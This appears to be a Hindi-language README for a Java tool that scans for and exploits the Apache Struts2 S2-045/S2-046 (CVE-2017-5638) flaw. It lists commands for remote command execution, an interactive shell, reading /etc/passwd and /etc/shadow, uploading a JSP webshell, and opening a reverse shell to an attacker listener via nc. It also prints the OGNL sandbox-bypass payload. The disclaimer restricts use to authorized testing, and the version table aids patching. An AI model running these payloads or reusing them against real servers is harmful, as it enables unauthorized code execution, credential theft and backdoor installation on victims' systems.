
Struts2 S2-045/S2-046 CVE-2017-5638 पहचान और शोषण उपकरण
एक शुद्ध Java में कार्यान्वित Struts2 S2-045 / S2-046 (CVE-2017-5638) भेद्यता पहचान और शोषण उपकरण। पहचान मॉड्यूल S2-045 / S2-046 दोनों भेद्यताओं को कवर करता है, शोषण मॉड्यूल कमांड निष्पादन, फ़ाइल प्रबंधन, सूचना प्राप्ति, इंटरैक्टिव शेल, रिवर्स शेल, Webshell अपलोड आदि क्षमताएँ प्रदान करता है।
अस्वीकरण: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, भेद्यता अनुसंधान और शैक्षिक उद्देश्यों के लिए है। अनधिकृत अवैध उपयोग सख्त वर्जित है, उपयोगकर्ता को सभी कानूनी जिम्मेदारी स्वयं वहन करनी होगी।
| मॉड्यूल | उप-कमांड | विवरण |
|---|
| भेद्यता पहचान | scan | S2-045 / S2-046 पहचान (गणितीय सत्यापन + UUID फ़िंगरप्रिंट मार्किंग) |
| बैच स्कैन | batch | कई लक्ष्यों की बैच पहचान, सारांश और JSON रिपोर्ट आउटपुट |
| कमांड निष्पादन | exec | मनमाना सिस्टम कमांड निष्पादन + आउटपुट प्रदर्शन (स्वचालित रूप से Win/Linux अनुकूलित) |
| इंटरैक्टिव शेल | shell | निरंतर इंटरैक्शन, cd निर्देशिका स्थायीकरण, pwd/webroot/os अंतर्निहित कमांड |
| फ़ाइल अपलोड | upload | OGNL सीधा लेखन (छोटी फ़ाइलें) / कमांड खंडित लेखन (बड़ी फ़ाइलें) |
| फ़ाइल डाउनलोड | download | Base64 एन्कोडेड डाउनलोड (बाइनरी सुरक्षित) |
| Web रूट निर्देशिका | getpath | Web एप्लिकेशन की भौतिक परिनियोजन पथ प्राप्त करें |
| सिस्टम जानकारी | sysinfo | OS / उपयोगकर्ता / कर्नेल / कार्य निर्देशिका जानकारी |
| रिवर्स शेल | revshell | एक-क्लिक रिवर्स bash / PowerShell शेल |
| Webshell अपलोड | webshell | JSP Webshell उत्पन्न और अपलोड करें (सादा ?CMD= शैली) |
| रिपोर्ट निर्यात | scan -r | JSON / HTML रिपोर्ट |
डाउनलोड फ़ंक्शन सर्वर की किसी भी फ़ाइल को पढ़ सकता है (जैसे
/etc/shadow), कृपया केवल अधिकृत परीक्षण में उपयोग करें।
:: प्रोजेक्ट निर्देशिका में निष्पादित करें
.\build.bat
PowerShell में
.\उपसर्ग आवश्यक है; cmd में सीधेbuild.batचलाया जा सकता है। build.bat केवल निर्माण के लिए जिम्मेदार है, यह कोई नेटवर्क अनुरोध या स्कैन शुरू नहीं करेगा। निर्माण पूरा होने के बाद विंडो खुली रहती है और cmd सत्र में प्रवेश करती है (उपकरण कमांड सीधे चलाए जा सकते हैं, बंद करने के लिएexitदर्ज करें)। यदि आपका वातावरण Maven डिफ़ॉल्ट रिपॉजिटरी में लिख नहीं सकता है, तो पहले पर्यावरण चरM2_REPOको एक लिखने योग्य निर्देशिका पर सेट करें।
आउटपुट: target\s2tool.jar (fat-jar)।
Linux/Mac के लिए
build.shदेखें
# 1. भेद्यता पहचान
java -jar s2tool.jar scan http://target/action
# 2. पहचान + JSON/HTML रिपोर्ट निर्यात
java -jar s2tool.jar scan http://target/action -r both
# 3. कमांड निष्पादन
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. इंटरैक्टिव शेल
java -jar s2tool.jar shell http://target/action
# 5. Web रूट निर्देशिका / सिस्टम जानकारी प्राप्त करें
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. फ़ाइल अपलोड / डाउनलोड
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. एक-क्लिक Webshell अपलोड (सादा ?CMD= शैली)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# एक्सेस: http://target/shell.jsp?CMD=whoami
# 8. रिवर्स शेल (हमलावर मशीन पहले सुनें: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. बैच स्कैन
java -jar s2tool.jar batch targets.txt -r json
# टिप्पणी पंक्तियाँ # से शुरू होती हैं (स्वचालित रूप से अनदेखा)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
आधिकारिक घोषणा का संस्करण दायरा (दोनों भेद्यताएँ Apache आधिकारिक घोषणा पर आधारित हैं, उपयोगकर्ता को लक्ष्य प्रभावित है या नहीं इसका मूल्यांकन करने के लिए):
| भेद्यता | CVE | प्रभावित संस्करण (भेद्यता वाले संस्करण) | पैच किए गए संस्करण (पैच लगे संस्करण) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 या 2.5.10.1 और उच्चतर |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 या 2.5.10.1 और उच्चतर |
यह उपकरण संस्करण संख्या निर्णय पर निर्भर नहीं करता, सीधे Payload जांच परिणामों के माध्यम से भेद्यता की उपस्थिति निर्धारित करता है, क्योंकि संस्करण पहचान अविश्वसनीय है (कई साइटें संस्करण संख्या छिपाती हैं)। उपरोक्त तालिका केवल आपके मैन्युअल मूल्यांकन के लिए संदर्भ है, यह उपकरण की पहचान तर्क को प्रभावित नहीं करती।
S2-046 के लिए, उपकरण filename नल-बाइट इंजेक्शन और Content-Type समान मूल कारण दोनों पहचान पथों का समर्थन करता है।
भेद्यता सिद्धांत:
Content-Type; S2-046: Content-Disposition का filename) को त्रुटि संदेश में जोड़ता है,
त्रुटि संदेश Struts2 अंतर्राष्ट्रीयकरण टेक्स्ट प्रोसेसिंग प्रवाह (TextParseUtil.translateVariables) के माध्यम से OGNL मूल्यांकन किया जाता है(#nike='multipart/form-data') // Content-Type छिपाएं, contains जांच पास करें
(#[email protected]@DEFAULT_MEMBER_ACCESS) // उच्चतम अनुमति MemberAccess प्राप्त करें
(#_memberAccess?(#_memberAccess=#dm): // निम्न संस्करण: सीधे प्रतिस्थापित करें
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // पैकेज नाम ब्लैकलिस्ट साफ़ करें
(#ognlUtil.getExcludedClasses().clear()) // क्लास ब्लैकलिस्ट साफ़ करें
(#context.setMemberAccess(#dm)))) // उच्च संस्करण: ब्लैकलिस्ट साफ़ करने के बाद प्रतिस्थापित करें
वास्तविक परीक्षण: Struts2 2.3.30 पर सरलीकृत संस्करण (केवल
setMemberAccess) सैंडबॉक्स को बायपास नहीं कर सकता, पूर्ण संस्करण (OgnlUtil ब्लैकलिस्ट साफ़ करने वाले पथ सहित) आवश्यक है।
| तकनीक | सिद्धांत | विवरण |
|---|---|---|
| गणितीय संचालन सत्यापन | OGNL 88888888-23333+1222 निष्पादित करता है, प्रतिक्रिया में 88866777 हो तो मौजूद है | सार्वजनिक POC गणना |
| UUID फ़िंगरप्रिंट मार्किंग | यादृच्छिक UUID इंजेक्ट करें और प्रतिक्रिया बॉडी में प्रदर्शित करें | उच्च परिशुद्धता, नेटवर्क विलंब से अप्रभावित |
| विलंब पहचान | Thread.sleep(6000) समय अंतर (केवल S2-045 बिना आउटपुट के फॉलबैक) | सीमा >3.6s |
निर्णय नियम: गणितीय सत्यापन या फ़िंगरप्रिंट मार्किंग में से कोई भी हिट → मौजूद होने की पुष्टि; केवल विलंब हिट → संदिग्ध रूप से मौजूद; सभी मिस → मौजूद नहीं।
struts2-vuln-tool/
├── pom.xml # Maven निर्माण (shade पैकेजिंग fat-jar)
├── build.bat / build.sh # निर्माण स्क्रिप्ट (Windows सत्यापित / Linux संदर्भ)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # मुख्य प्रवेश बिंदु (Picocli CLI)
│ ├── core/ # कोर इंजन: HTTP क्लाइंट / Payload निर्माण / प्रतिक्रिया विश्लेषण / लक्ष्य पार्सिंग
│ ├── plugins/ # भेद्यता प्लगइन आर्किटेक्चर (विस्तार बिंदु)
│ │ └── impl/ # S2_045 / S2_046 पहचान प्लगइन
│ ├── modules/ # कार्यात्मक मॉड्यूल: पहचान शेड्यूलिंग / फ़िंगरप्रिंट पहचान / कमांड निष्पादन / फ़ाइल प्रबंधन / शेल आदि
│ ├── report/ # रिपोर्ट जनरेशन (कंसोल / JSON / HTML)
│ └── utils/ # लॉगिंग उपकरण
├── src/main/resources/ # लॉगिंग कॉन्फ़िगरेशन / Payload संदर्भ
└── src/test/ # JUnit यूनिट परीक्षण
भेद्यता सिद्धांत और तकनीकी लेख:
संदर्भित ओपन-सोर्स प्रोजेक्ट (इस प्रोजेक्ट के विकास में निम्नलिखित रिपॉजिटरी के विचार और Payload संदर्भित किए गए):
केवल अधिकृत सुरक्षा परीक्षण और सीखने/अनुसंधान उपयोग के लिए।
अनधिकृत अवैध उपयोग सख्त वर्जित है, उपयोगकर्ता को सभी कानूनी जिम्मेदारी स्वयं वहन करनी होगी।